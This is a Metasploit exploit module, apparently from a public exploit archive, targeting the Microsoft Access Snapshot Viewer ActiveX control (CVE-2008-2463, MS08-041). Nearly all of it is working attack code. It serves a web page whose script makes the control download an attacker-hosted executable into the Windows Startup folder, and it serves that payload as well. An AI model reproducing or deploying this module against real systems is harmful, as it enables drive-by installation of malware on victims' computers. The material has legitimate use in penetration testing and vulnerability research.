This Metasploit module allows remote attackers to place arbitrary files on a users file system via the Microsoft Office Snapshot Viewer ActiveX Control.
1f83bd2a821bbdeb8fdf6db67aca2716ee3a775a3cadc748fc319fc7d0daddd0##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
via the Microsoft Office Snapshot Viewer ActiveX Control.
},
'License' => 'MSF_LICENSE',
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-2463' ],
[ 'OSVDB', '46749'],
[ 'MSB', 'MS08-041' ],
[ 'BID', '30114' ],
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
content = %Q|
<html>
<head>
<script>
try {
var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
#{vname}.SnapshotPath = "#{payload_url}";
#{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
#{vname}.PrintSnapshot();
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
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